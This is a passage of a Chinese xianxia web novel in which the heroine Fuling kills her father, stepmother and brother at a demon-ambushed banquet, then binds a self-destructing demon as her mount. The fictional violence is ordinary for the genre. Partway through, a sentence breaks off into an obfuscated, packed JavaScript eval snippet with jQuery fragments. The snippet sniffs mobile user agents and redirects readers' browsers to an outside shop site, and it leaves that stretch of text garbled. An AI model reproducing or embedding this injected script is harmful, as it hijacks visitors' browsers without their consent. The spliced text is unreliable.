见她欲下杀手,林如进忙道:“我虽不知你何时学的这些邪门歪术,但我答应你,对你今日所行之事,我可以视而不见,绝不追究!” 见茯凌没有下一步的动作,林如进以为是自己说的话奏了效,于是乘胜追击道:“林浚烨和林羽汐勾结妖族,朝野上下绝不会放过他二人,我如今只剩下你一个女儿。你若愿意,我可以抬你生母为正妻,让你做林府嫡女。” 看着茯凌手里那道奇怪的符咒,林如进额头冒出了冷汗,竭尽全力想要打动茯凌:“好女儿,他日你凭这一身本事打进大玄殿,为父定会在身后为你助力,万里前程触手可及!” 他已经说了他此刻能想到的所有好话,见茯凌静静地看着他,林如进猜想自己或许可以虎口脱险,可下一秒却见茯凌不耐烦地翻了个白眼,轻飘飘地向他抱怨道:“你这老头废话真多。” 林如进怔住:“我!我可是你的亲生父亲!” “巧了不是?”茯凌无所谓地耸了耸肩,“杀的就是你这猪狗不如的生父!” 不再跟他啰嗦,茯凌动作娴熟地将手里符咒掷飞出去,在林如进既惊讶又恐惧的怒视中,符咒瞬息化为闪电,一连三下击中林如进身体,不费吹灰之力就将这个被封住玄术的神族宰相劈成了焦尸一具。 戚媚娘早被吓得魂飞天外,恐惧的眼泪哗啦啦直流,她此刻手脚被绑地倒在地上,只能像虫子一样拼命往后挪动,试图以这样可笑的方式逃过一死,哭道:“我错了,我错了,你饶我一命,别杀我。” 茯凌冷声道:“毒杀她虽非你的主意,但你甘愿做杀人的刀,咎由自取。” 戚媚娘哭道:“你若杀了我,你大哥哥绝对不会放过你,他一定会杀你为我报仇!” 茯凌淡声:“没关系,我会在那之前先干掉他。” 戚媚娘骂道:“林起月!你弑父杀兄,不得好死!” 茯凌没理会戚媚娘的诅咒,她又凌空画出一道雷符:“既然你们迟迟不选死法,那我受点累,替你们选。” 看了眼被劈成焦尸的林如进,茯凌对戚媚娘淡淡道:“你不是想当林如进正妻么?那就跟他用一样的死法,也算成双入对。” 声音还未落地,雷符已经扔出,霎时闪电狂虐肆起,戚媚娘一声惨叫,应声倒地。 茯凌又起了一道火符,将林如进和戚媚娘一并烧了,也算给他们一个体面。这时仍然没有听到系统关于任务完成的播报,茯凌于是料定,如鹧衣所说,林浚烨应该已经被踏云馆的妖邪救回性命,她现在必须回去再补几刀,只要杀了林浚烨,支线任务就算是完成了。 茯凌沿原路快速折回,再次潜上了前厅屋顶,等她到后,前院的打斗已经平息,院子里除了尸体再无活人,突然她听到有说话声从她脚下的屋内传来,茯凌小心翼翼地掀开瓦片,自上而下看去,见沐纶等人被五花大绑地控制在屋内,绳子的绑法跟鹧衣、秋贤捆绑林如进、戚媚娘的如出一辙,再往前看去,发现有个舞姬打扮的妖族正在为林浚烨疗伤。 大厅中央,青衣长褂男子正与红色珠帽女子说话,茯凌料定她俩分别隶属噬魂楼、踏云馆,是今夜两支妖族团伙中的领袖,此刻他们的谈话听起来并不愉快。 青衣长褂沉声道:“还要我说多少次?我们噬魂楼没有窝藏相楚澜,你们踏云馆休要无理取闹!” 红色珠帽怒道:“若非你们有意藏匿,相楚澜为何会在偌大的林府凭空消失?这次我们奉妖尊之命,与你们噬魂楼合作,唯一的要求就是将相楚澜带回处置,你们噬魂楼可别太过分!” 青衣长褂:“简直胡搅蛮缠!你们妖尊要杀了相楚澜泄愤,我们妖尊又没什么账好跟相楚澜算的,我们藏他干什么?” 红色珠帽:“总之找不到相楚澜,你们就一道灵魂也别想往外抽!我们回去交不了差,你们也别想拿着这些高官贵族的新鲜灵魂,去你们妖尊那儿讨好处!要死就一起死!” 青衣长褂:“好啊!我们噬魂楼好心成全你们踏云馆,你们非但不感恩戴德,还要在这紧要关头横加阻挠,祸水芯骄祀就是这样教手下的吗?!” 红色珠帽:“呸!你也配提我们妖尊的名讳?若没有我们的乐声和金粉相配,就凭你们的锁元散,也想封住这些神族的玄术?看来弑神刀伞无仇御下无方,竟教出你这样眼高手低的废物!” 两只妖怪你一句我一句地来回切磋口才,茯凌也逐渐缕出了个大概—— 噬魂楼和踏云馆共同谋划了今晚这场血宴礼,噬魂楼的妖伪装成戏子,利用林羽汐往酒水里下了锁元散,踏云馆的妖则乔装成乐师和舞姬,乐师奏出的音乐、舞姬洒出的金粉,配合酒水里的锁元散,这才避人耳目,悄无声息地锁住了席间众人的玄术。 噬魂楼的妖吃了戏子的灵魂,又住进了戏子的体内,所以众人看不到他们额间的妖纹。而踏云馆则通过林浚烨在林府点满障目香,因此也迷惑了众人的眼睛,使大家瞧不见他们的妖纹。 噬魂楼策划这场血宴礼的主要目的是为了抽出一众高官贵人的灵魂,献给他们的妖尊弑神刀伞无仇,接着再住进达官权贵的身体里,借此把持大栎国朝政。而踏云馆的目的就单纯的多,仅仅是为了活捉相楚澜,因为相楚澜跟他们的妖尊祸水芯骄祀有过私人恩怨。 可现在因为找不到相楚澜,所以踏云馆不干了,拦着噬魂楼不让取灵魂,主打一个我不好过,大家就都别想好过。 趁着两边妖怪内讧,茯凌开始在心里迅速权衡利弊,现在她面前有两个选择,一是现在就给林浚烨致命一击,然后再快速躲入隐秘之境。但现在敌静我动,隐秘之境又濒临失效,贸然出手容易暴露,以她目前的修为,绝对打不过这么多妖怪。二是等待相楚澜冲破玄术封锁,靠他牵制住一部分妖怪。但相楚澜也许会阻挠她刺杀林浚烨,虽然林浚烨勾结妖族难逃一死,相楚澜必会将他交给专门的机构处置,但这样一来,林浚烨肯定会死于他人之手,茯凌不确定这算不算任务成功。 思考过后,茯凌决定采取保险做法,等相楚澜恢复玄术绊住妖怪,她再伺机击杀林浚烨。 感觉到隐秘之境已经到了失效边缘,茯凌准备闪身进去跟相楚澜通个气,以防他突然出来后闹出动静惊扰到屋子里的妖怪,破坏了先发制人的时机。 正要行动,谁知红色珠帽女妖却先一步发现了屋顶上的她,只听红色珠帽大喊一声“谁在哪儿?”,接着就有两道黑光朝茯凌劈来。茯凌脚下的瓦片瞬间被劈成粉屑,她飞身欲躲,可脚踝却紧接着被一圈又一圈的黑色光环紧紧缠住,黑色光环拉着茯凌的身体往下坠去,茯凌如今修为有限,在绝对的力量面前只有被摔进屋内的份。 她的“突然降临”让沐纶等人大吃一惊,沐纶睁大双眼,没想到他跟相楚澜怀疑的林起月,如今却在屋顶偷窥,还被妖怪用妖术给拽了下来。他看着跌坐在地、疼得龇牙咧嘴的茯凌,不禁陷入沉思。 茯凌从小就知道做人要能屈能伸,所以她该苟着的时候,绝对能给你苟得明明白白,刚才见红色珠帽出手,招数带有黑光,想必是仅次于银纹的黑纹大妖了,如今的她绝非对手。于是就装傻充愣地扶腰揉屁股道:“好疼啊。” 人为刀俎我为鱼肉的沐纶,这个时候不合时宜地关心了她一句:“你没事吧?” 茯凌皱着一张脸哭道:“差点儿摔死我。” “哪来的傻子?”青衣长褂嫌弃地看了茯凌一眼。 红色珠帽手腕轻抬,瞬间就有一束黑色刀光直逼茯凌而来,茯凌按兵不动,紧闭双眼装害怕,耳边却突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986836|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然传来沐纶的叫声:“住手!别伤她!” 黑色刀光应声而停,悬在了距离茯凌不到两拳的距离,茯凌睁开眼来,看到红色珠帽不屑地看向沐纶道:“你都自身难保了,还关心别人?” 沐纶道:“她是林浚烨的妹妹。林浚烨即是你们的人,他的妹妹,你们不该杀。” 红色珠帽歪着脑袋,打量了一下沐纶,道:“这倒稀奇。林浚烨勾结妖族,满门处斩都不为过。你作为大栎国皇子,却在生死关头维护起叛徒的妹妹,你跟她什么关系?” 沐纶不卑不亢:“朋友。” 青衣长褂看热闹似的笑了笑:“大栎国皇子果然怜香惜玉。” 红色珠帽将目光转向茯凌,她眼神里露出凶光:“说!为何你会在屋顶?你是怎么逃过追捕的?” 茯凌挤出两滴眼泪,半真半假地回道:“我没逃,一直都在屋顶趴着,下面太乱,不敢下来。” 红色珠帽想到什么,目光一凛:“你是先前射箭之人!” 茯凌装傻充愣:“什么射箭之人?” 红色珠帽指着林浚烨道:“他身上那支箭,可是你射的?” 这时林浚烨已经在妖族舞姬的治疗下睁开了眼睛,但看起来依旧虚弱,茯凌与他视线对上,忙无辜地哭喊道:“大哥哥,你快跟他们说说,我哪里学过什么射箭,怎么就冤枉我拿箭射你呢?” “别喊他哥哥!”这时一个长着白胡子的官员突然开了口,“他与妖族勾结,你若有些气性,就不要再把这种逆贼当作哥哥!” 另一个年轻贵公子却冷笑两声:“大家难道都没发现吗?唯独我们被活捉,林如进却不见踪影,恐怕他们林家蛇鼠一窝,都是妖怪的爪牙!” 他的话意外点醒了林浚烨,林浚烨突然站了起来,表情严峻道:“为何不见我父亲母亲?独孤琦,你把他们怎么了?” 红色珠帽大概就是林浚烨口中的独孤琦了,只见她态度倨傲地回击道:“你自己的父母,你自己不管,怎么倒问起我来了?” 林浚烨怒道:“骄祀答应过,不杀我父母。你竟敢公然抗命?!” 独孤琦冷笑道:“妖尊只说让我不杀你父母,可没说让我保护他们。”她看了眼青衣长褂,“你父母若在混战时被噬魂楼的给杀了,我可不管救。” 青衣长褂哼道:“没想到你们踏云馆不仅喜欢坏人好事,还热衷泼人脏水。他父亲是大栎国宰相,我们自然要活抽他的灵魂,交予我们妖尊享用。怎么会随便杀了他?”说到这儿,他突然想起什么,脸色一变,“不对!我明明派了鹧衣、秋贤他们去追捕林如进,为何至今都没消息?” 这时突然有个戏子打扮的妖怪进来向青衣长褂禀报:“南荣大人,属下已经清点过,我们噬魂楼今晚统共牺牲了十七名同僚。” 身穿青衣长褂的南荣问道:“十七人里可有鹧衣、秋贤?” 戏子小妖道:“回南荣大人,有。” “坏了!让林如进给跑了!”南荣怒道,“是相楚澜!一定是相楚澜救走了林如进!先前躲在暗处射箭之人恐怕就是相楚澜,他知道林浚烨勾结妖族,所以要一箭射死他。” “不可能是他!”林浚烨反驳道,“那射箭之人除了想杀我,还杀死了我嫡母杜若芬。相楚澜杀杜若芬做什么?” 林浚烨将视线从南荣身上移向独孤琦:“而且在那人射杀杜若芬之前,还有个人拿刀想要砍死杜若芬,可惜那人被噬魂楼的给杀了,现在无法得知那人究竟什么来历目的。” 茯凌见他们陷入口水战,心里一个劲儿地给他们鼓掌,撕起来,再撕得响一些! 南荣却在这个时候不买账了,他一脸怒容地看向独孤琦:“踏云馆的,我可提醒你,再这么耗下去,这些神族可就要一个个冲破封印了!你们找不到相楚澜,别拿我们当炮灰!”他环视四周,对那些戏子妖怪道,“动手!把这些神族的灵魂全部抽出来!” 孤独琦也是满脸怒色,但她也知道若等众神族恢复玄术,她们必将死伤惨重,于是只好吞下怒气,对手底下的乐师、舞姬道:“再去给我搜!务必找出相楚澜!” 戏子妖怪们见踏云馆的退了一步不再阻拦,便纷纷上前要抽取众神族高官贵人的魂魄,茯凌想起相楚澜托她办的第二件事,若是今日没保护好沐纶,恐怕将来就更难攻略相楚澜了,没有办法,茯凌大喝一声:“相楚澜在我手上!” 18. 第18章 血宴礼5 听了这话,不仅是踏云馆,连噬魂楼和众神族都纷纷看向茯凌,茯凌直着脖子对独孤琦道:“只要你们踏云馆能保在场的神族不死,我就把相楚澜交给你。但凡死一个,我就杀了相楚澜,让你们回去交不了差。” 南荣嘲道:“笑话!你一个从屋顶上摔下来的,相楚澜怎么可能会在你手上?” 茯凌没理南荣,打定主意要拖延时间,继续对独孤琦道:“踏云馆和噬魂楼,今晚只有一边能完成任务。要么我们被抽掉灵魂,相楚澜死。要么我们生还,我把相楚澜交给你。现在选择权在你,是拿活的相楚澜回去邀功,还是选择成全噬魂楼。” 林浚烨拆台道:“别听她的,她根本不会玄术,绝不可能活捉相楚澜。” 独孤琦的黑色光刀还悬在茯凌眼前,她紧紧盯着茯凌:“我凭什么相信你?” “就凭——”茯凌感觉到隐秘之境正在碎裂,这不是隐秘之境时限已到的标志,而是里面的人在全力往外冲,这意味着相楚澜已经突破玄术封锁。几乎是同一时间,就在相楚澜即将破空而出时,茯凌冲独孤琦喊出后半句:“我是你姑奶奶!” 众人众妖都不可思议地看着眼前的震撼一幕,只见茯凌弯腰旋出一个漂亮的凌空翻转动作,躲开身前黑色光刀的同时,更是一个后踢将黑色刀光狠狠踢往林浚烨方向,电光火石之间,她旁边的空气被一道刺眼的红光划开一道口子,一个瑰美诡艳的少年凭空跃出,在茯凌踢向黑色光刀的瞬间,绮诡少年右臂一挥,霎时间艳色漫天,红莲业火应势而生席卷众妖。 与此同时,被茯凌踢出的黑色光刀也快狠准地割破了林浚烨的喉咙,鲜血迸出,林浚烨不敢相信地瞪大双眼,他喉间的血不偏不倚正好在旁边独孤琦的脸上甩出一道斜着的血痕。 独孤琦嫌弃地抹掉脸上血迹,根本没管边上死不瞑目狼狈倒地的林浚烨,她身体里极速盈出黑色光雾,轻易灭掉了身上的红莲业火,盯着眼前身姿细挑、眼尾妖异的轻狂少年,独孤琦高声对众妖发号施令道:“活捉相楚澜!” 相楚澜眼神冰冷,抿直的嘴角透着几分杀气与邪气,茯凌抽空瞥了他一眼,见他像是变了一个人,战斗状态下仿佛一把亦正亦邪、诡艳燃烧的利剑,恍惚间仿佛他才是那个需要被联手打败的反派人物。 “大家一起上!跟他拼了!”踏云馆的舞姬女妖喊出响亮而悲壮的口号,紧接着舞姬、乐师就像是为心中大义慷慨赴死一般,争先恐后地冲相楚澜杀去。相楚澜眉毛都没皱一下,似乎冲他袭来的踏云馆众妖只不过是一群抬抬脚就可以轻松碾死的蝼蚁,他只挥了下胳膊,红莲业火就像凶悍的火龙朝众妖怒卷而去。 红莲业火对独孤琦、南荣这样的大妖来说杀伤力不大,但对他们手底下的那些小妖来说就有些难对付。只见妖怪们还没冲到相楚澜跟前,就已经被红莲业火困住步伐,不止是冲他杀过去的踏云馆,一视同仁的相楚澜连站在原地没动的噬魂楼也一起照顾到。有些小妖法力低微,当场就被红莲业火给烧了个魂飞魄散,有些小妖艰难施法,努力对抗烧上身的烈火,有些小妖厉害些,搞定身上的红莲业火后就各归阵营,一部分站去南荣背后或寻求庇护或等待差遣,另一部分则谨记独孤琦的命令,继续朝相楚澜攻杀过去。 而趁着相楚澜和踏云馆厮杀斗法的空隙,茯凌也听到了系统的延迟播报:「恭喜玩家!支线任务一已完成,奖励玩家锦囊妙计三枚,使用时间由玩家自行决定。支线任务二即将发布,请玩家耐心等待」 锦囊妙计三枚?那是个什么东西?听着还不如灵力玉露来得实际! 茯凌正腹诽,突然听到南荣对他身后的一众戏子小妖道:“都愣着干什么?还不快去剥掉他们的灵魂!” 想趁相楚澜被踏云馆绊住,抽完灵魂跑路?当她茯凌大人是摆设吗? 茯凌一个跨步,霸气地挡在了沐纶前面:“噬魂楼的,你以为姑奶奶只是路过?” 她逼格拉满地甩出一把符化长剑,剑气侠光正好映照在沐纶脸上,沐纶跟前,茯凌悍声对众妖道:“想要他的灵魂,先过姑奶奶这关!” 南荣不屑道:“这个女的直接杀了!” 妖怪们乌泱泱朝茯凌攻来,茯凌长剑离手、利刃扫向众妖,同时双手凌空画符,左手一道捆仙绳,右手一道火符,正要向扑上来的妖族掷出,却见五花大绑的沐纶突然跳到了她跟前,他背对着她将她护在身后,侠肝义胆地高声喊道:“你不是他们的对手!别逞强,赶紧逃!” 虽然刚才亲眼目睹茯凌一脚踢飞了妖怪的黑色光刀,并用黑色光刀将林浚烨就地正法,但他仍旧不认为她能一个人单挑这么多妖怪。虽然他现在被封住了玄术,又被绑住了手脚,但他绝非贪生怕死之悲,岂能让一个弱女子白白为他送死?沐纶视死如归道:“林起月!活下去!” 茯凌无语地看着沐纶的背影,她的主场,他跑出来抢什么风头? 沐纶昂首挺胸、慷慨赴死,然而就在妖怪们的杀伤性法术就要攻到他身上时,被他护在身后的弱女子却突然抬腿,一脚就踹在了他屁股上:“别碍事!” 沐纶还没反应过来,就被茯凌一脚踹去了边上,他怔怔地看着眼前的少女将她面前的两道金黄符咒掷飞出去,少女杀气腾腾,手势起于胸前,虔诚又凶悍地念了一声“破”,她身上的嫩黄衣裳随之灵逸翻飞,前一秒还气势汹汹的妖群,此刻竟瞬间被她硬控全场。 沐纶一动不动地痴痴望着茯凌,夜色间,烛灯下,她像一束铿锵炫目的光,撑开了整个天地。 沐纶感觉自己体里的血液都开始变热,心脏也狂跳着似乎要冲破胸膛,旁边的大臣见状悲声叫道:“你再能耐,也不能踹殿下的屁股!成何体统!成何体统!” 茯凌只听到“屁股”两个字,但她没时间理会,捆仙绳一分为众,将各妖尽数捆绑住的同时,火符也化作烈火快速烧过去,这些小妖之前就被相楚澜的红莲业火烧过一次,已经元气大伤,现在又是被捆仙绳束缚手脚,又是被火符焚肉烧骨,便纷纷舍弃戏子躯体,只见一缕缕烟雾蒸腾而出,少数为蓝色,多数为红色,开始凝出他们的真实妖身。 另一边,独孤琦也已加入猎捕相楚澜的斗法阵,南荣本想隔岸观火,却没料到茯凌根本不像林浚烨所说是个不会玄术的废物,光靠底下的蓝纹妖、红纹妖绝对无法将她降服。南荣不敢懈怠,拖延下去对他们不利,一定要赶在剩余神族突破玄术封锁前,赶紧抽出他们的灵魂。 趁茯凌被小妖们缠住,南荣飞身向前就要从沐纶开始抽取灵魂,茯凌察觉出他的意图,可惜分身乏术,万般无奈之下,她只好一边画符对抗众妖,一边紧急召唤“化龙”,随着她起势召唤,黑鳞玄爪妖犄龙从她体内剥离而出,霎时电闪雷鸣,将众人目光都吸引过去,连打斗中的相楚澜和独孤琦都注意到突然出现在空中的黑鳞巨龙,南荣也倒抽了一口凉气,“化龙”强大的压迫感令他忍不住颤抖起来:“什么东西?” 茯凌心道:你们妖怪老祖的影子。 黑鳞巨龙随茯凌心念而动,牢牢将南荣锁定为目标,它张开龙爪朝南荣飞杀过去,一龙一妖很快扭打到一起。 茯凌知道黑纹大妖的厉害,南荣绝对不好对付,虽然“化龙”作为宗政向离的影子,能在天性上对南荣起到震慑、压制作用,但一旦交手就会暴露现在的“化龙”无法绝杀黑纹大妖的事实。没办法,茯凌现在修为不够,而“化龙”的攻击力又以她的修为为基准,自然就不是黑纹大妖的对手。 必须赶紧解决这些缠人的小妖,和“化龙”一起围剿南荣才行。还好经过这段时间的修炼,茯凌现有的灵力已经足够支撑她不间断地画符攻击,她刷刷刷地画火符画雷符画长弓利剑符,经过一番搏斗,总算给了噬魂楼的小妖一个团灭,然后她就听到待宰神族中爆发出一阵叫好声,有个年轻男人喊道:“精彩!太精彩了!”接着是一道清悦的女声:“这不比戏文好看多了?!” 茯凌流汗,怎么感觉她好像免费给众人表演了一场杂技? 解决完小妖,茯凌紧接着就加入“化龙”,和它一起围攻南荣,南荣这时已经发现与他搏斗的这条黑鳞玄爪妖犄龙只是看着骇人,实际上并没有他想象中那么恐怖,不禁对茯凌嘲道:“这条龙额头上的银纹是它自己画的吧?看实力,顶多也就是个红纹以上的水平。” 茯凌一边画符攻击南荣,一边冲他喊道:“你给我当妖仆,我就告诉你!” 南荣怒道:“没皮没脸的东西!也不瞧瞧自己的斤两!就你也配?!” 茯凌笑:“给姑奶奶当妖骑,那可是你的福气!” 南荣暴怒:“我今天就杀了你!” 茯凌和南荣一边对骂一边厮杀,虽然茯凌现在不是南荣的对手,但有“化龙”在旁助力,却也能跟南荣打个有来有回。那边踏云馆的小妖已经被相楚澜屠灭殆尽,只剩一个独孤琦还在勉力支撑,她知道自己绝非相楚澜的对手,本来还寄希望于南荣可以帮她一把,可现在见南荣也被缠住,她不得不另想他法。 时间正在一分一秒地流逝,独孤琦明白自己支撑不了多久,相楚澜比她想象中还要厉害,她甚至觉得他根本没有用全力跟她打,总有种在拿她喂招的感觉,她不能再这么被他压着打下去,不然迟早要把命折在这儿,万一被打回原形丢去地二高功,那她这两千多年的修炼岂不白瞎了? 独孤琦当机立断,轰出两道黑色光刀就朝沐纶袭去,相楚澜飞身去救,她正好趁机逃去院中,不敢有片刻的迟疑,独孤琦飞快地破掉先前在林府上空布下的结界,想都不想就把南荣独自丢下逃命去了,反正踏云馆和噬魂楼也不是什么多友好的关系。 相楚澜见茯凌、黑鳞龙正和南荣缠斗,顾忌她的周全,于是没去追独孤琦,而是帮着茯凌一起攻向南荣。有了相楚澜的加入,局势开始迎风倒,南荣力不能支,黑色雾气自他头顶飘出,他舍弃了青衣长褂男子躯体,终于显出原本妖身,竟是一个白净俊俏的少年。 屋里还点着障目香,所以茯凌、相楚澜等人依旧看不到南荣额上的妖纹,茯凌贴心地向众人说明道:“我偷听到两只噬魂楼妖怪的对话,说是林浚烨在府中点满了障目香,所以我们看不到妖族额上的妖纹。” “林浚烨真乃贼人也!”人群中不知是谁骂了一句。 又有人道:“到底怎么回事?这些妖怪方才说什么锁元散、金粉、乐声,究竟是什么意思?” 茯凌继续解释道:“我也是听噬魂楼的妖怪说的。林浚烨勾结踏云馆,让踏云馆的妖怪装扮成舞姬和乐师混进府里。林羽汐则被噬魂楼利用,在众人的酒水里下了锁元散。舞姬的金粉、乐师的乐声,还有锁元散,三相结合,这才能够瞒过众人的警觉,神不知鬼不觉地封住大家的玄术。” 她义正言辞道:“想我林府衷心侍主、一心为国,却不想出了林浚烨、林羽汐这样的宵小之辈!辱我门楣!罪不容诛!好在我已奉父亲之命,将此二人就地诛杀!只可惜父亲没能逃过噬魂楼妖怪的毒手,和他们同归于尽了。” “原来是我误会了林大人!” “宰相大人果真是当世豪杰!” “虎父无犬女,林二小姐如此能耐,林大人在天之灵也会感到欣慰!” 人群中开始不断传出唏嘘之声,茯凌抹了把眼泪:“我父亲的清名,绝不能毁于林浚烨、林羽汐二人之手。” 又有人问:“可我听闻林二小姐不通玄术,今天怎么……如此彪悍?” 茯凌眼含 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沐纶提醒道:“阿澜,留活口!这次踏云馆好像是冲着你来的!” 相楚澜刚从隐秘之境破空而出时,就听到那些妖怪指名道姓要活捉他,那些是踏云馆的?可踏云馆为何要活捉他? 茯凌也觉得好奇,问道:“你跟踏云馆的那个妖尊,叫什么祸水芯骄祀的,你们有仇?” 相楚澜侧首沉思:“奇怪,我不认识她。” 南荣于是又开始叫嚣:“我说你们这些神族有什么毛病?怎么又聊起来了?!” 茯凌看向包围圈里横眉竖目的白净少年,指着他道:“问他,他肯定知道。” 南荣哼道:“神妖两族势不两立,我凭什么告诉你们?!” 相楚澜想了想,接着对沐纶道:“不如将他交给天下卫,实在审不出什么线索,就将他打回原形,丢进地二高功。” 沐纶点头:“也行。天下卫专司审讯,多的是手段,不怕问不出东西。” 这时人群中有人笑道:“说不定不出两天,他就连他主子伞无仇的老巢都给交代清楚了!” “我们妖怪血性!不像你们神族假正经,为了一点色欲就卖主叛国!”南荣冷冷讥讽众人道,“让我判主?我南荣宁愿一死!” 说着,他没有半分犹豫,嘴里默念出一声口诀,立刻就有浓重的黑雾将他重重包围,很快他的身体就变成了半透明的形态,有个白胡子官员见状大叫道:“不好!他要自爆!” 妖怪自爆,死一妖,荡平百里,寸草不生。 他这是要跟大家同归于尽。 而像南荣这样的黑纹大妖,一旦开启自爆,无论是谁都无法阻止,这是相楚澜、沐纶等人从小便知的常识。 不知是谁高喊一句:“快解开我们的绳子!我们不想给他陪葬!” 相楚澜这才想起来还没帮沐纶等人解开绑住他们手脚的粗绳,他随意地扬了下手,红莲业火瞬间祭出,将众人身上的绳子烧尽,众人得了自由,一个个地都开始疯狂往外跑,有人边跑边喊:“快离开这里!快跑!” 相楚澜却站在原地没动,倒不是没察觉到危险,只是他发现茯凌没动,她不仅没有跑的意思,还两眼放光、像看金山银山一样地看着正在酝酿自爆的南荣。 有官员发现沐纶、相楚澜、茯凌三个人都没跑,于是大喊道:“殿下!世子!林二小姐!赶紧跑啊!” 三人不为所动。准确来说,是茯凌不为所动,相楚澜见她不动便也不动,沐纶见相楚澜不动,便也静静地站在原地。 最后跑出的两名官员实在没办法了,想着能拉一个是一个,于是就把身份最尊贵的沐纶给架走了:“殿下!跟老臣逃命去罢!” 沐纶被他俩人架着胳膊往外转移,高声喊道:“阿澜!林起月!你们怎么了?!” 没一会儿功夫,沐纶就被老臣架出老远,先前自己逃命的臣子看到沐纶,纷纷过来抢着拉他一把,于是沐纶就心不甘情不愿地被众人抬着拽着地离开了林府。诺大的林府,一时间只剩下茯凌、相楚澜,以及眼看就要自爆的南荣。 相楚澜终于忍不住问她道:“你到底在等什么?” 茯凌还在用一种看宝藏的眼神看着南荣,痴痴地回答相楚澜道:“等我的妖骑。” 相楚澜听不明白她的话,“你在胡说什么?再不走他就要自爆了!” 茯凌已经在黑雾蒸腾里看到了南荣的原形,一只独角彩纹象,巨大的双耳可以发挥翅膀的作用,带她遨游天际。她微笑着:“我的妖骑,独角彩纹象,黑纹大妖。跟你的大鹏金翎鸟比,丝毫不逊色吧?” 相楚澜已经感受到南荣自爆在即,他无法再陪她疯下去,拉住她胳膊就要带她离开这儿:“跟我走!别再这儿发癫!” 癫你大爷!茯凌一把甩开相楚澜,她紧紧盯着南荣,瞅准时机,在他瞬间就要自爆之际,在他生命垂危之际,在他一只脚已经踏进棺材之际,茯凌立马画出一张妖符,两指垂立,启唇念契:“以吾之魂,重铸汝身,订契于符,此间长存!” 妖符发出的金光映亮了茯凌洁白的面庞,鬓角两缕长须随风扬逸,她衣袂飘飞,宛如置身金光咒文中的降世佛子:“收!” 金亮诡异的妖符自她指间趁势而出,迅速飞向黑雾笼罩中的南荣,不过眨眼工夫,浑身散发黑雾的南荣就被收入符中,一切瞬息重归寂静,敛去金光的符咒缓缓飘落,在碰触到茯凌指尖的一瞬化作一串咒文,灵逸乖顺地钻入茯凌掌心。 相楚澜简直不敢相信自己的眼睛,他无法定义此情此景是诡谲还是神奇,像看天外来客一般地看着茯凌道:“你究竟是谁?” 19. 第19章 独角彩纹象 她不是妖,也没有神脉,却拥有可以让自爆大妖瞬间消失的奇异本领。 她究竟是谁? 相楚澜定定地看着茯凌,几乎笃定道:“你绝不是林起月。” 茯凌将“化龙”召回,她扬起下巴冲相楚澜反问道:“你了解我多少,就敢断定我不是林起月?恐怕你就只知道我是林如进二女儿,是天生没有神脉、修不了玄术的废物,是仰慕你的痴女。除此之外,你还知道什么?” 她逼近相楚澜,一本正经地微带怒意地冲他撒气道:“你不知道我在林府受过多少罪,不知道我在北地遭过多少难,不知道我为了练就本领吃过多少苦。你只看到我从北地回来后变了性情,却看不到我在有本领傍身后才敢表现出来的底气。你怀疑我对你虚情假意,怀疑我是妖族假扮,你试探我,质疑我,却根本没有想过要设身处地地理解我。” 茯凌以退为进,继续道德绑架他道:“是呀,你是高高在上的世子殿下,是万众瞩目的天之骄子,你意气风发,眼下无尘,哪里需要理解我这样的人?从前我凄苦无依、任人揉搓,只敢远远仰望你,我把你当成精神寄托,我痴恋你,追随你,因为只有这样我才有活下去的勇气。如今我幸逢奇遇、有力自保,我可以平等地站在你面前,我不需要再把你当成遥不可及、高不可攀的神,我希望你敬我、爱我,有什么错?” 情到浓时,她落下两行清泪:“相楚澜,难道我在你眼里就这么卑贱?只配平庸无能地活着?只配当一个躲在暗处看你、行为疯癫的痴女?” 乖乖!茯凌觉得自己这段爆发式表演简直可以打满分! 她再接再厉,泪眼汪汪地看着相楚澜,要多委屈有多委屈,要多悲情有多悲情,终于看得相楚澜心生愧疚,他似乎不知该如何应对眼前泪水哗哗的她,只好尴尬地看向别处,缓缓道:“我不是这个意思。” 茯凌抹了抹眼泪,瓮声瓮气道:“在北地时,高人曾教过我一套密法,可以将濒死的妖怪收做妖仆。刚才我便是用这套密法收服了南荣。” 相楚澜调整了一下情绪,却依旧尴尬地没法直视她:“你的意思是,他将来可以为你所用?” 茯凌隐含骄傲道:“不用将来,现在就可以。” 说着,她画出一道妖符,在心中默念南荣的名字,轻声道:“出!” 紧接着妖符落地,一头漂亮的独角彩纹象就出现在了他们跟前。 放眼整个大栎国,有妖骑的不算多,有黑纹妖骑的更是寥寥无几。 今天这个便宜,算是被茯凌捡到了。 她拼命把忍不住要翘起来的嘴角往下压,走过去抓住独角彩纹象脑袋上那根凸出来的、足以把对手捅穿的长角道:“以后出远门,包袱可以挂在这上面。” 独角彩纹象似乎很不满她的这个决定,嗷嗷叫了两声。 它的长角是用来杀敌制胜的,不是用来挂东西的! 相楚澜打量了一下独角彩纹象,又将信将疑地看了眼茯凌,最终却没再说什么质疑她的话,轻声道:“你还真是打瞌睡就有人递枕头。” 茯凌心想也是,前些时日眼馋相楚澜的大鹏金翎鸟,今天就有一头独角彩纹象送上门来给她当妖骑。她得意忘形地咧嘴笑道:“不过也是借了你的势,不然这头独角彩纹象哪里会绝望到要自爆?” 它要不自爆,以她现在的修为,可绝对收服不了它。 相楚澜见茯凌一会儿哭一会儿笑,泪珠盈睫,嘴角却弯弯地翘起来,模样有几分滑稽,又有几分……楚楚动人。 楚楚动人?他眼神是有什么毛病?相楚澜怀疑自己是不是该找个郎中看看眼睛,索性不再看她,扫了眼一片狼藉的屋子,妖怪的尸体横七竖八,屋外院中更是尸山尸海,又见茯凌单薄地嫩黄地站在尸体中间,道:“今晚找间客栈住下吧,等会儿我找人过来清理。” 茯凌点了点头,说:“飞花和宋奶娘,我要先将她们两个安置好。飞花算孤儿,得找个地方安葬。宋奶娘有自己的家人,得把她送回去,多给她家人一些银子……至于其他人,我不熟悉,但也都是忠心勇敢的,也要妥善安排好他们的后事。” 